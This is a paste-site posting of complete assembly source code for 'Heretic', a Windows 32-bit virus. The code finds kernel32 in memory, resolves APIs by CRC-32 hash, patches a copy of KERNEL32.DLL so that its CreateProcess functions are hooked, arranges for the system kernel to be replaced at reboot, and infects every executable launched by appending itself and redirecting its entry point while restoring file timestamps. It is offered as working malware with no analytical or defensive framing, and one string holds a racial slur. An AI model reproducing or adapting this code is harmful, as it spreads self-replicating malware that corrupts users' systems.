FlyFar

Virus.Win32.Heretic - Source Code

Jun 27th, 2023
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 29.40 KB | Cybersecurity | 0 0
  1. ;
  2. ; SYNOPSIS
  3. ;
  4. ; Heretic - A Microsoft Windows 32 virus
  5. ;
  6. ; AUTHOR
  7. ;
  8. ; Memory Lapse, [NOP]
  9. ;  formerly of Phalcon/Skism
  10. ;
  11. ; ABSTRACT
  12. ;
  13. ; This virus works under all beta versions of Windows 9x, and Windows NT 4.0.
  14. ; Under a Win32s environment, the virus will fail since the kernel doesn't
  15. ; physically export any useable API. Parsing the import table of the host image
  16. ; for GetProcAddress and GetModuleHandle should do the trick.
  17. ;
  18. ; NOTES
  19. ;
  20. ; Finally after seven months (including a four month hiatus for university),
  21. ; I've finally finished this virus.
  22. ;
  23. ; Ideally when the kernel is infected, the object the virus extends
  24. ; (typically .reloc) should have its flags with IMAGE_SCN_MEM_WRITE turned off.
  25. ; This will prevent in-memory patching by antivirus software.  Heretic does
  26. ; not do this.  At least not yet.
  27. ;
  28. ; Useful reading material: Microsoft Platform, SDK, and DDK Documentation
  29. ;
  30. ; Greets to priest, h8, lookout, virogen and johnny panic.
  31. ;
  32.  
  33. .386
  34. locals
  35. .model  flat, stdcall
  36. .code
  37. .radix  16
  38.  
  39. include heretic.inc
  40.  
  41. CRC_POLY    equ     0EDB88320
  42. CRC_INIT    equ     0FFFFFFFF
  43.  
  44. crc         macro   string
  45.     crcReg = CRC_INIT
  46.     irpc _x,
  47.         ctrlByte = '&_x&' xor (crcReg and 0ff)
  48.         crcReg = crcReg shr 8
  49.         rept 8
  50.             ctrlByte = (ctrlByte shr 1) xor (CRC_POLY * (ctrlByte and 1))
  51.         endm
  52.         crcReg = crcReg xor ctrlByte
  53.     endm
  54.     dd  crcReg
  55. endm
  56.  
  57. MARKER      equ     "DOS lives somewhere in time"
  58.  
  59. org     0
  60.  
  61. start:  push    L offset host - start           ;location of old entry point
  62. ddOldEntryPoint =   dword ptr $ - 4
  63.  
  64.         pushfd                                  ;save state
  65.         pushad
  66.  
  67.         call    @@delta
  68. @@delta:pop     ebp
  69.         sub     ebp,offset @@delta - start
  70.                                                 ;thanks vg!
  71.         db      81,0edh                         ;sub ebp,unsignedlong
  72. ddEntryPoint    dd 0
  73.         add     [esp+24],ebp                    ;return address of host
  74.  
  75.         mov     edi,[esp+28]                    ;get a "random" pointer from stack
  76.         and     edi,0FFFF0000                   ;mask off bottom word
  77.  
  78.         call    try
  79. catch:  mov     esp,[esp+8]                     ;get pointer to our stack-based
  80.                                                 ; exception record
  81.         jmp     finally                         ;and return to host
  82.  
  83. try:    push    dword ptr fs:[0]                ;this is our try { } block
  84.         mov     fs:[0],esp                      ;create stack-based exception record
  85.  
  86.     .repeat
  87.         dec     edi                             ;move back a byte
  88.         lea     eax,[edi-MAGIC]                 ;thanks h8!
  89.  
  90.         cmp     [edi],eax                       ;match?  then we've found the kernel
  91.     .until zero?
  92.  
  93.         mov     esi,[eax+exe_str.pe_offset]
  94.         add     esi,eax                         ;traverse PE header and find
  95.                                                 ; Export Data Directory Table
  96.         mov     ebp,[esi+pe_str.export_tbl]
  97.         add     ebp,eax                         ;RVA -> absolute
  98.  
  99.         push    eax
  100.         push    [ebp+edt_str.edt_ord_base]
  101.  
  102.         mov     ebx,[ebp+edt_str.edt_ord_rva]
  103.         mov     edi,[ebp+edt_str.edt_name_rva]
  104.         mov     ebp,[ebp+edt_str.edt_addr_rva]
  105.  
  106.         add     ebx,eax                         ;adjust ordinal table pointer
  107.         add     edi,eax                         ;adjust name pointer table pointer
  108.         add     ebp,eax                         ;adjust address pointer table pointer
  109.  
  110.         push    ebp                             ;we save these values onto the stack
  111.         push    eax                             ; so we can free up registers
  112.  
  113.         call    @@delta
  114. @@delta:pop     ebp
  115.         sub     ebp,offset @@delta
  116.  
  117.         push    ebp
  118.  
  119. ; on entry:
  120. ;  [esp] : delta offset
  121. ;  [esp+4] : image base
  122. ;  [esp+8] : address pointer table
  123. ;  [esp+0c] : ordinal base
  124. ;  ebx - ordinal table
  125. ;  esi - pointer to our list of apis
  126. ;  edi - name pointer table
  127.         lea     esi,[ebp+name_ptr_api]
  128.         mov     ecx,1
  129.         mov     edx,(name_ptr_api_end - name_ptr_api) / 4
  130.  
  131. top:    push    edx
  132.         push    esi
  133.  
  134.         mov     esi,[edi]                       ;calculate absolute offset of
  135.         add     esi,[esp+0c]                    ; name pointer (image base)
  136.  
  137.         mov     edx,CRC_INIT
  138.  
  139. lup:    lodsb
  140.  
  141.         or      al,al                           ;termination token?  then quit
  142.         jz      chkCRC
  143.  
  144.         xor     dl,al
  145.         mov     al,8
  146.  
  147.     .repeat                                     ;perform CRC-32 on string
  148.         shr     edx,1                           ;thanks jp!
  149.      .if carry?
  150.         xor     edx,CRC_POLY
  151.      .endif
  152.         dec     al
  153.     .until zero?
  154.         jmp     lup
  155.  
  156. chkCRC: pop     esi
  157.         push    edi
  158.  
  159.         mov     ebp,ecx
  160.         shl     ebp,1                           ;convert count into word index
  161.  
  162.         movzx   eax,word ptr [ebx+ebp]          ;calculate ordinal index
  163.         sub     eax,[esp+14]                    ;relative to ordinal base
  164.         shl     eax,2                           ;convert ordinal into dword index
  165.  
  166.         mov     ebp,eax
  167.         mov     edi,[esp+10]
  168.  
  169.         add     eax,edi                         ;calculate offset
  170.         mov     edi,[edi+ebp]                   ;RVA of API (dereference said offset)
  171.         add     edi,[esp+0c]                    ;convert to absolute offset
  172.  
  173.         mov     ebp,[esp+8]
  174.  
  175.         cmp     edx,CRC_POLY                    ;CreateProcessA?
  176.         org     $ - 4
  177.             crc
  178.     .if zero?
  179.         mov     [ebp+lpCreateProcessA],eax      ;hook it
  180.         mov     [ebp+CreateProcessA],edi
  181.     .endif
  182.         cmp     edx,CRC_POLY                    ;or CreateProcessW?
  183.         org     $ - 4
  184.             crc
  185.     .if zero?
  186.         mov     [ebp+lpCreateProcessW],eax      ;hook it
  187.         mov     [ebp+CreateProcessW],edi
  188.     .endif
  189.         cmp     edx,[esi]                       ;or an API the virus uses?
  190.     .if zero?
  191.         mov     [esi+(name_ptr_api_end - name_ptr_api)],edi
  192.         lodsd                                   ;update pointer
  193.         dec     dword ptr [esp+4]               ;decrement our API count
  194.     .endif
  195.         pop     edi
  196.  
  197. next:   pop     edx
  198.         add     edi,4                           ;next API
  199.         inc     ecx                             ;remember displacement
  200.  
  201.         or      edx,edx                         ;no more names to parse?
  202.         jnz     top
  203.  
  204.         pop     ebp                             ;restore delta offset
  205.         add     esp,0c                          ;clear stack
  206.  
  207.         call    [ebp+GlobalAlloc], \            ;allocate memory for global structure
  208.                     GMEM_FIXED, \
  209.                     L size vir_str
  210.  
  211.         mov     edi,eax
  212.         pop     [edi+vir_str.lpKernelBase]
  213.  
  214.         call    kernel                          ;attempt to infect the kernel
  215.  
  216.         call    [ebp+GlobalFree], \             ;release global structure resources
  217.                     edi
  218.  
  219. finally:pop     dword ptr fs:[0]                ;this is our finally { } block
  220.         pop     eax                             ;trash exception handler address
  221.                                                 ;low and behold, the stack is restored
  222.         popad
  223.         popfd
  224.  
  225.         ret
  226.  
  227.         db      '[nop] 4 life.. lapse, vg and jp own you! :)'
  228.  
  229. infect: mov     [edi+vir_str.ddError],TRUE      ;assume an error occurred
  230.  
  231.         call    [ebp+GetFileAttributesA], \
  232.                     [edi+vir_str.lpFileName]
  233.  
  234.         mov     [edi+vir_str.ddFilterAttributes],eax
  235.         inc     eax
  236.         jz      exit
  237.  
  238.         call    [ebp+SetFileAttributesA], \     ;strip file attributes
  239.                     [edi+vir_str.lpFileName], \
  240.                     FILE_ATTRIBUTE_NORMAL
  241.  
  242.         or      eax,eax                         ;error?  possibly a r/o disk?
  243.         jz      exit
  244.  
  245.         call    [ebp+CreateFileA], \
  246.                     [edi+vir_str.lpFileName], \
  247.                     GENERIC_READ or GENERIC_WRITE, \
  248.                     FILE_SHARE_NOTSHARED, \
  249.                     NULL, \
  250.                     OPEN_EXISTING, \
  251.                     FILE_ATTRIBUTE_NORMAL, \
  252.                     NULL
  253.  
  254.         mov     [edi+vir_str.hFile],eax         ;if we don't get a valid file
  255.         inc     eax                             ;descriptor (ie. an invalid handle),
  256.         jz      exitChmod                       ;quit processing
  257.  
  258.         lea     eax,[edi+vir_str.ddLastWriteTime]
  259.         lea     ecx,[edi+vir_str.ddLastAccessTime]
  260.         lea     edx,[edi+vir_str.ddCreationTime]
  261.         call    [ebp+GetFileTime], \            ;save file timestamps
  262.                     [edi+vir_str.hFile], \
  263.                     edx, \
  264.                     ecx, \
  265.                     eax
  266.  
  267.         call    [ebp+CreateFileMappingA], \     ;create a mmap object
  268.                     [edi+vir_str.hFile], \
  269.                     NULL, \
  270.  
  271.                     PAGE_READONLY, \
  272.                     L 0, \
  273.                     L 0, \
  274.                     NULL
  275.  
  276.         or      eax,eax
  277.         jz      exitTime
  278.  
  279.         mov     [edi+vir_str.hFileMappingObject],eax
  280.  
  281.         call    [ebp+MapViewOfFile], \          ;view the file in our address space
  282.                     [edi+vir_str.hFileMappingObject], \
  283.                     FILE_MAP_READ, \
  284.                     L 0, \
  285.                     L 0, \
  286.                     L 0
  287.  
  288.         or      eax,eax
  289.         jz      exitCloseMap
  290.  
  291.         mov     [edi+lpBaseAddress],eax
  292.  
  293.         cmp     word ptr [eax],IMAGE_DOS_SIGNATURE
  294.         jnz     exitUnmap                       ;some sort of executable?
  295.  
  296.         mov     esi,eax
  297.         add     esi,[eax+exe_str.pe_offset]     ;seek to NT header
  298.  
  299.         push    eax
  300.         call    [ebp+IsBadCodePtr], \           ;can we read the memory at least?
  301.                     esi                         ;potentially not a Windows file?
  302.  
  303.         or      eax,eax
  304.         pop     eax
  305.         jnz     exitUnmap
  306.  
  307.         cmp     dword ptr [esi],IMAGE_NT_SIGNATURE
  308.         jnz     exitUnmap                       ;PE file?
  309.  
  310.         cmp     [esi+pe_str.timestamp],CRC_POLY
  311.         org     $ - 4
  312.             crc MARKER
  313.         jz      exitUnmap
  314.  
  315.         lea     eax,[ebp+infectKernel]
  316.  
  317.         cmp     [edi+vir_str.lpInfectMethod],eax;attempting to infect KERNEL32.DLL?
  318.     .if !zero?
  319.         test    [esi+pe_str.flags],IMAGE_FILE_DLL
  320.         jnz     exitUnmap                       ;and not a runtime library?
  321.     .endif
  322.         call    getLastObjectTable
  323.  
  324.         mov     eax,[ebx+obj_str.obj_psize]
  325.         add     eax,[ebx+obj_str.obj_poffset]
  326.  
  327.         add     eax,(_end - start)              ;calculate maximum infected file size
  328.         mov     ecx,[esi+pe_str.align_file]
  329.         call    align
  330.  
  331.         mov     [edi+vir_str.ddFileSizeInfected],eax
  332.  
  333.         call    [ebp+UnmapViewOfFile], \
  334.                     [edi+vir_str.lpBaseAddress]
  335.  
  336.         call    [ebp+CloseHandle], \
  337.                     [edi+vir_str.hFileMappingObject]
  338.  
  339.         call    [ebp+CreateFileMappingA], \     ;reopen and extend mmap file
  340.                     [edi+vir_str.hFile], \
  341.                     NULL, \
  342.                     PAGE_READWRITE, \
  343.                     L 0, \
  344.                     [edi+vir_str.ddFileSizeInfected], \
  345.                     NULL
  346.  
  347.         mov     [edi+vir_str.hFileMappingObject],eax
  348.  
  349.         call    [ebp+MapViewOfFile], \
  350.                     [edi+vir_str.hFileMappingObject], \
  351.                     FILE_MAP_WRITE, \
  352.                     L 0, \
  353.                     L 0, \
  354.                     L 0
  355.  
  356.         mov     [edi+vir_str.lpBaseAddress],eax
  357.  
  358.         add     eax,[eax+exe_str.pe_offset]
  359.         mov     esi,eax
  360.  
  361.         call    getLastObjectTable
  362.  
  363.         mov     eax,[ebx+obj_str.obj_rva]       ;set new entry point if an EXE
  364.         add     eax,[ebx+obj_str.obj_psize]     ; or set hooks if kernel32.dll
  365.         call    [edi+vir_str.lpInfectMethod]
  366.  
  367.         push    edi
  368.         push    esi
  369.  
  370.         mov     edi,[edi+vir_str.lpBaseAddress]
  371.         add     edi,[ebx+obj_str.obj_poffset]
  372.         add     edi,[ebx+obj_str.obj_psize]
  373.         lea     esi,[ebp+start]
  374.         mov     ecx,(_end - start)
  375.         cld
  376.         rep     movsb                           ;copy virus
  377.  
  378.         pop     esi
  379.         pop     eax
  380.  
  381.         xchg    eax,edi
  382.         sub     eax,[edi+vir_str.lpBaseAddress] ;new psize = old psize + (_end - start)
  383.         sub     eax,[ebx+obj_str.obj_poffset]
  384.         mov     ecx,[esi+pe_str.align_file]
  385.         call    align                           ;calculate new physical size
  386.  
  387.         mov     [ebx+obj_str.obj_psize],eax
  388.  
  389.         mov     eax,[ebx+obj_str.obj_vsize]
  390.         add     eax,(_end - start)
  391.         mov     ecx,[esi+pe_str.align_obj]
  392.         call    align                           ;calculate potential new virtual size
  393.  
  394.         cmp     eax,[ebx+obj_str.obj_psize]     ;if new physical size > new virtual size
  395.     .if carry?
  396.         mov     eax,[ebx+obj_str.obj_psize]     ;then let the virtual size = physical size
  397.     .endif
  398.         mov     [ebx+obj_str.obj_vsize],eax
  399.  
  400.         add     eax,[ebx+obj_str.obj_rva]
  401.  
  402.         cmp     eax,[esi+pe_str.size_image]     ;infected host increased in image size?
  403.     .if !carry?
  404.         mov     [esi+pe_str.size_image],eax
  405.     .endif
  406.  
  407.         mov     [esi+pe_str.timestamp],CRC_POLY
  408.         org     $ - 4
  409.             crc MARKER
  410.         or      [ebx+obj_str.obj_flags],IMAGE_SCN_CNT_INITIALIZED_DATA or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
  411.  
  412.         lea     eax,[ebp+szImageHlp]
  413.         call    [ebp+LoadLibraryA], \           ;load image manipulation library
  414.                     eax
  415.  
  416.         or      eax,eax
  417.     .if !zero?
  418.         push    eax                             ;(*) argument for FreeLibrary()
  419.  
  420.         lea     ecx,[ebp+szChecksumMappedFile]
  421.         call    [ebp+GetProcAddress], \         ;get address of image checksum api
  422.                     eax, \
  423.                     ecx
  424.  
  425.         or      eax,eax
  426.      .if !zero?
  427.         lea     ecx,[esi+pe_str.pe_cksum]
  428.         lea     edx,[edi+vir_str.ddBytes]
  429.         call    eax, \                          ;calculate checksum
  430.                     [edi+vir_str.lpBaseAddress], \
  431.                     [edi+vir_str.ddFileSizeInfected], \
  432.                     edx, \
  433.                     ecx
  434.      .endif
  435.         call    [ebp+FreeLibrary]               ;argument is set at (*)
  436.     .endif
  437.         mov     [edi+vir_str.ddError],FALSE     ;no errors!
  438.  
  439. exitUnmap:
  440.         call    [ebp+UnmapViewOfFile], \        ;unmap the view
  441.                     [edi+vir_str.lpBaseAddress]
  442. exitCloseMap:
  443.         call    [ebp+CloseHandle], \            ;remove mmap from our address space
  444.                     [edi+vir_str.hFileMappingObject]
  445. exitTime:
  446.         lea     eax,[edi+vir_str.ddLastWriteTime]
  447.         lea     ecx,[edi+vir_str.ddLastAccessTime]
  448.         lea     edx,[edi+vir_str.ddCreationTime]
  449.         call    [ebp+SetFileTime], \            ;restore file time
  450.                     [edi+vir_str.hFile], \
  451.                     edx, \
  452.                     ecx, \
  453.                     eax
  454.  
  455.         call    [ebp+CloseHandle], \            ;close the file
  456.                     [edi+vir_str.hFile]
  457. exitChmod:
  458.         call    [ebp+SetFileAttributesA], \     ;restore file attributes
  459.                     [edi+vir_str.lpFileName], \
  460.                     [edi+vir_str.ddFilterAttributes]
  461. exit:   ret                                     ;return to caller
  462.  
  463. kernel: call    [ebp+GlobalAlloc], \            ;allocate memory for source buffer
  464.                     GMEM_FIXED, \
  465.                     _MAX_PATH
  466.  
  467.         mov     [edi+vir_str.lpSrcFile],eax
  468.  
  469.         call    [ebp+GetSystemDirectoryA], \    ;store %sysdir% in source buffer
  470.                     eax, \
  471.                     _MAX_PATH
  472.  
  473.         call    [ebp+GlobalAlloc], \            ;allocate memory for destination buffer
  474.                     GMEM_FIXED, \
  475.                     _MAX_PATH
  476.  
  477.         mov     [edi+vir_str.lpDstFile],eax
  478.  
  479.         call    [ebp+GetWindowsDirectoryA], \   ;store %windir% in destination buffer
  480.                     eax, \
  481.                     _MAX_PATH
  482.  
  483.         lea     eax,[ebp+szKernel]
  484.         call    [ebp+lstrcatA], \               ;*lpSrcFile = %sysdir%\kernel32.dll
  485.                     [edi+vir_str.lpSrcFile], \
  486.                     eax
  487.  
  488.         lea     eax,[ebp+szKernel]
  489.         call    [ebp+lstrcatA], \               ;*lpDstFile = %windir%\kernel32.dll
  490.                     [edi+vir_str.lpDstFile], \
  491.                     eax
  492.  
  493.         call    [ebp+CopyFileA], \
  494.                     [edi+vir_str.lpSrcFile], \  ;%sysdir%\kernel32.dll
  495.                     [edi+vir_str.lpDstFile], \  ; -> %windir%\kernel32.dll
  496.                     FALSE
  497.  
  498.         lea     eax,[ebp+infectKernel]
  499.         mov     [edi+lpInfectMethod],eax        ;we're trying to infect the kernel
  500.  
  501.         mov     eax,[edi+vir_str.lpDstFile]
  502.         mov     [edi+vir_str.lpFileName],eax
  503.  
  504.         call    infect
  505.  
  506.     .if [edi+vir_str.ddError] == FALSE
  507.         lea     eax,[ebp+szSetupApi]
  508.         call    [ebp+LoadLibraryA], \
  509.                     eax
  510.  
  511.         or      eax,eax                         ;if LoadLibrary fails, explicitly write
  512.      .if zero?                                  ;to WININIT.INI (Windows 95)
  513.         lea     eax,[ebp+szWinInitFile]         ;delete the original kernel
  514.         push    eax
  515.         push    [edi+vir_str.lpSrcFile]
  516.         lea     eax,[ebp+szKeyName]
  517.         push    eax
  518.         lea     eax,[ebp+szAppName]
  519.         push    eax
  520.         call    [ebp+WritePrivateProfileStringA]
  521.  
  522.         lea     eax,[ebp+szWinInitFile]         ;move our patched kernel
  523.         push    eax
  524.         push    [edi+vir_str.lpDstFile]
  525.         push    [edi+vir_str.lpSrcFile]
  526.         lea     eax,[ebp+szAppName]
  527.         push    eax
  528.         call    [ebp+WritePrivateProfileStringA]
  529.      .else
  530.         push    eax                             ;(*) argument for FreeLibrary
  531.  
  532.         lea     ebx,[ebp+szSetupInstallFileExA] ;fetch address of API from this DLL
  533.         call    [ebp+GetProcAddress], \
  534.                     eax, \
  535.                     ebx
  536.  
  537.         or      eax,eax
  538.       .if !zero?
  539.         lea     ebx,[edi+ddBytes]
  540.         call    eax, \                          ;move patched kernel
  541.                     NULL, \                     ;NT->delay until next reboot
  542.                     NULL, \                     ; modified MoveFileEx behaviour?
  543.                     [edi+vir_str.lpDstFile], \  ;98->WININIT.INI
  544.                     NULL, \
  545.                     [edi+vir_str.lpSrcFile], \
  546.                     SP_COPY_SOURCE_ABSOLUTE or SP_COPY_DELETESOURCE, \
  547.                     NULL, \
  548.                     NULL, \
  549.                     ebx
  550.       .endif
  551.         mov     esi,eax
  552.         call    [ebp+FreeLibrary]
  553.         mov     eax,esi
  554.      .endif
  555.         or      eax,eax
  556.      .if zero?
  557.         mov     [edi+vir_str.ddError],TRUE
  558.      .endif
  559.     .endif
  560.  
  561.     .if [edi+vir_str.ddError] == TRUE
  562.         call    [ebp+DeleteFileA], \            ;delete %windir%\kernel32.dll if
  563.                     [edi+vir_str.lpFileName]    ; an error infecting or moving
  564.     .endif
  565.         call    [ebp+GlobalFree], \             ;deallocate destination buffer
  566.                     [edi+vir_str.lpDstFile]
  567.  
  568.         call    [ebp+GlobalFree], \             ;deallocate source buffer
  569.                     [edi+vir_str.lpSrcFile]
  570.         ret
  571.  
  572. infectKernel:
  573.         xchg    eax,ecx
  574.  
  575.         movzx   eax,[esi+pe_str.size_NThdr]
  576.         add     eax,esi
  577.         add     eax,offset pe_str.majik
  578.  
  579.         mov     edx,0
  580. lpCreateProcessA    =   dword ptr $ - 4
  581.         sub     edx,[edi+vir_str.lpKernelBase]
  582.  
  583. @@lup:  cmp     [eax+obj_str.obj_rva],edx       ;was the API in the previous object?
  584.         ja      @@next
  585.  
  586.         add     eax,size obj_str                ;next object
  587.         jmp     @@lup
  588.  
  589. @@next: sub     eax,size obj_str                ;seek back to export object
  590.  
  591.         push    L offset hookCreateProcessA - start
  592.         call    trapAPI
  593.  
  594.         mov     edx,0
  595. lpCreateProcessW    =   dword ptr $ - 4
  596.         sub     edx,[edi+vir_str.lpKernelBase]
  597.  
  598.         push    L offset hookCreateProcessW - start
  599.         call    trapAPI
  600.  
  601.         ret
  602.  
  603. infectEXE:
  604.         mov     [ebp+ddEntryPoint],eax
  605.         xchg    eax,[esi+pe_str.rva_entry]
  606.  
  607.         mov     [ebp+ddOldEntryPoint],eax
  608.  
  609.         ret
  610.  
  611. trapAPI:push    ebx
  612.         push    ecx
  613.  
  614.         mov     ebx,[eax+obj_str.obj_poffset]
  615.         sub     ebx,[eax+obj_str.obj_rva]
  616.         add     ebx,[edi+vir_str.lpBaseAddress]
  617.         add     ebx,edx
  618.  
  619.         add     ecx,[esp+0c]
  620.         mov     [ebx],ecx
  621.  
  622.         pop     ecx
  623.         pop     ebx
  624.         ret     4
  625.  
  626. align:  xor     edx,edx
  627.         add     eax,ecx
  628.         dec     eax
  629.         div     ecx
  630.         mul     ecx
  631.         ret
  632.  
  633. getLastObjectTable:
  634.         movzx   eax,[esi+pe_str.num_obj]
  635.         cdq
  636.         mov     ecx,L size obj_str
  637.         dec     eax
  638.         mul     ecx
  639.  
  640.         movzx   edx,[esi+pe_str.size_NThdr]
  641.         add     eax,edx
  642.         add     eax,esi
  643.         add     eax,offset pe_str.majik         ;seek to last object table
  644.  
  645.         xchg    eax,ebx
  646.         ret
  647.  
  648. ;on entry:
  649. ; [esp] : return address to caller
  650. ; [esp+4] -> [esp+28] : registers
  651. ; [esp+2c] : return address to process
  652. ; [esp+34] : commandline
  653. hookInfectUnicode:
  654.         call    @@delta
  655. @@delta:pop     ebp
  656.         sub     ebp,offset @@delta
  657.  
  658.         mov     edi,[esp+34]
  659.         call    [ebp+WideCharToMultiByte], \    ;find out how many bytes to allocate
  660.                     CP_ACP, \                   ; ANSI code page
  661.                     L 0, \                      ; no composite/unmapped characters
  662.                     edi, \                      ; lpWideCharStr
  663.                     L -1, \                     ; calculate strlen(lpWideCharStr)+1
  664.                     NULL, \                     ; no buffer
  665.                     L 0, \                      ; tell us how many bytes to allocate
  666.                     NULL, \                     ; ignore unmappable characters
  667.                     NULL                        ; don't tell us about problems
  668.  
  669.         or      eax,eax                         ;no bytes can be converted?
  670.         jz      hookInfectError                 ;then bomb out.
  671.  
  672.         push    eax                             ;(*)
  673.  
  674.         call    [ebp+GlobalAlloc], \            ;allocate enough memory for the
  675.                     GMEM_FIXED, \               ; converted UNICODE string
  676.                     eax
  677.  
  678.         or      eax,eax                         ;any memory available?
  679.         pop     ecx                             ;(*)
  680.         jz      hookInfectError
  681.  
  682.         mov     esi,eax
  683.         mov     edi,[esp+34]
  684.         call    [ebp+WideCharToMultiByte], \    ;UNICODE -> ANSI conversion
  685.                     CP_ACP, \                   ; ANSI code page
  686.                     L 0, \                      ; no composite/unmappable characters
  687.                     edi, \                      ; lpWideCharStr
  688.                     L -1, \                     ; calculate strlen(lpWideCharStr)+1
  689.                     esi, \                      ; destination buffer for ANSI characters
  690.                     ecx, \                      ; size of destination buffer
  691.                     NULL, \                     ; ignore unmappable characters
  692.                     NULL                        ; don't tell us about problems
  693.         jmp     hookInfectDispatch
  694.  
  695. ;on entry:
  696. ; [esp] : return address to caller
  697. ; [esp+4] -> [esp+28] : registers
  698. ; [esp+2c] : return address to process
  699. ; [esp+34] : commandline
  700. hookInfectAnsi:
  701.         call    @@delta
  702. @@delta:pop     ebp
  703.         sub     ebp,offset @@delta
  704.  
  705.         mov     edi,[esp+34]                    ;get the filename
  706.  
  707.         call    [ebp+lstrlenA], \               ;calculate string length
  708.                     edi                         ; (not including null terminator)
  709.  
  710.         or      eax,eax                         ;zero length?
  711.         jz      hookInfectError
  712.  
  713.         inc     eax                             ;include null terminator
  714.  
  715.         call    [ebp+GlobalAlloc], \            ;allocate some memory for the copy
  716.                     GMEM_FIXED, \
  717.                     eax
  718.  
  719.         or      eax,eax                         ;no memory?
  720.         jz      hookInfectError
  721.  
  722.         mov     esi,eax
  723.  
  724.         call    [ebp+lstrcpyA], \               ;*edi -> *esi
  725.                 esi, \
  726.                 edi
  727.  
  728. hookInfectDispatch:
  729.         push    esi                             ;(*) argument for GlobalFree
  730.  
  731.         call    [ebp+GlobalAlloc], \            ;instantiate our global structure
  732.                     GMEM_FIXED, \
  733.                     L size vir_str
  734.  
  735.         or      eax,eax                         ;fatal error if no memory
  736.         jz      hookInfectErrorFree
  737.  
  738.         mov     edi,eax
  739.         mov     [edi+vir_str.lpFileName],esi
  740.         mov     [edi+vir_str.ddError],FALSE     ;assume no parsing fix-ups required
  741.  
  742.         lodsb
  743.         cmp     al,'"'
  744.     .if zero?
  745.         mov     [edi+vir_str.lpFileName],esi
  746.         mov     [edi+vir_str.ddError],TRUE      ;parsing fix-ups required
  747.     .endif
  748.  
  749. hookInfectParse:
  750.         lodsb                                   ;get a byte
  751.     .if [edi+vir_str.ddError] == TRUE           ;need a fix-up?
  752.         cmp     al,'"'                          ;'"' is our terminator
  753.         jnz     hookInfectParse
  754.     .else                                       ;no fix-up required
  755.         cmp     al,' '                          ;' ' or \0 is our terminator
  756.         jz      hookInfectParsed
  757.         or      al,al
  758.         jnz     hookInfectParse
  759.     .endif
  760.  
  761. hookInfectParsed:
  762.         mov     byte ptr [esi-1],NULL           ;null terminate string
  763.  
  764.         lea     eax,[ebp+infectEXE]             ;we're infecting a non-kernel32 executable
  765.         mov     [edi+vir_str.lpInfectMethod],eax
  766.         call    infect
  767.  
  768.         call    [ebp+GlobalFree], \             ;deallocate global structure
  769.                     edi
  770. hookInfectErrorFree:
  771.         call    [ebp+GlobalFree]                ;deallocate lpFileName
  772. hookInfectError:
  773.         ret
  774.  
  775. hookCreateProcessW:
  776.         push    CRC_POLY
  777. CreateProcessW      =   dword ptr $ - 4
  778.  
  779. hookUnicode:
  780.         pushfd
  781.         pushad
  782.         call    hookInfectUnicode
  783.         popad
  784.         popfd
  785.         ret
  786.  
  787. hookCreateProcessA:
  788.         push    CRC_POLY
  789. CreateProcessA      =   dword ptr $ - 4
  790.  
  791. hookAnsi:
  792.         pushfd
  793.         pushad
  794.         call    hookInfectAnsi
  795.         popad
  796.         popfd
  797.         ret
  798.  
  799. className                       db  '[Heretic] by Memory Lapse',0
  800. message                         db  'For my thug niggaz.. uptown baby, uptown.',0
  801.  
  802. szKernel                        db  '\KERNEL32.DLL',0
  803.  
  804. szImageHlp                      db  'IMAGEHLP',0
  805. szChecksumMappedFile            db  'CheckSumMappedFile',0
  806. szSetupApi                      db  'SETUPAPI',0
  807. szSetupInstallFileExA           db  'SetupInstallFileExA',0
  808.  
  809. szWinInitFile                   db  'WININIT.INI',0
  810. szAppName                       db  'Rename',0
  811. szKeyName                       db  'NUL',0
  812.  
  813. name_ptr_api:
  814. ddCloseHandle:                  crc
  815. ddCopyFileA:                    crc
  816. ddCreateFileA:                  crc
  817. ddCreateFileMappingA:           crc
  818. ddDeleteFileA:                  crc
  819. ddFreeLibrary:                  crc
  820. ddGetFileAttributesA:           crc
  821. ddGetFileTime:                  crc
  822. ddGetProcAddress:               crc
  823. ddGetSystemDirectoryA:          crc
  824. ddGetWindowsDirectoryA:         crc
  825. ddGlobalAlloc:                  crc
  826. ddGlobalFree:                   crc
  827. ddIsBadCodePtr:                 crc
  828. ddLoadLibraryA:                 crc
  829. ddMapViewOfFile:                crc
  830. ddSetFileAttributesA:           crc
  831. ddSetFileTime:                  crc
  832. ddUnmapViewOfFile:              crc
  833. ddWideCharToMultiByte:          crc
  834. ddWritePrivateProfileStringA:   crc
  835. ddlstrcatA:                     crc
  836. ddlstrcpyA:                     crc
  837. ddlstrlenA:                     crc
  838. name_ptr_api_end:
  839.  
  840. ; absolute offsets of desired API
  841. CloseHandle                     dd  0
  842. CopyFileA                       dd  0
  843. CreateFileA                     dd  0
  844. CreateFileMappingA              dd  0
  845. DeleteFileA                     dd  0
  846. FreeLibrary                     dd  0
  847. GetFileAttributesA              dd  0
  848. GetFileTime                     dd  0
  849. GetProcAddress                  dd  0
  850. GetSystemDirectoryA             dd  0
  851. GetWindowsDirectoryA            dd  0
  852. GlobalAlloc                     dd  0
  853. GlobalFree                      dd  0
  854. IsBadCodePtr                    dd  0
  855. LoadLibraryA                    dd  0
  856. MapViewOfFile                   dd  0
  857. SetFileAttributesA              dd  0
  858. SetFileTime                     dd  0
  859. UnmapViewOfFile                 dd  0
  860. WideCharToMultiByte             dd  0
  861. WritePrivateProfileStringA      dd  0
  862. lstrcatA                        dd  0
  863. lstrcpyA                        dd  0
  864. lstrlenA                        dd  0
  865.  
  866. _end:
  867.  
  868. host:   call    MessageBoxA, \
  869.                     NULL, \
  870.                     L offset lpText, \
  871.                     L offset lpCaption, \
  872.                     L 0                         ;MB_OK
  873.  
  874.         call    ExitProcess, \
  875.                     L 0
  876.  
  877. .data
  878. lpCaption       db      'Memory Lapse has something to say..',0
  879. lpText          db      'Hello World!',0
  880.  
  881. end     start
  882.  
Add Comment
Please, Sign In to add comment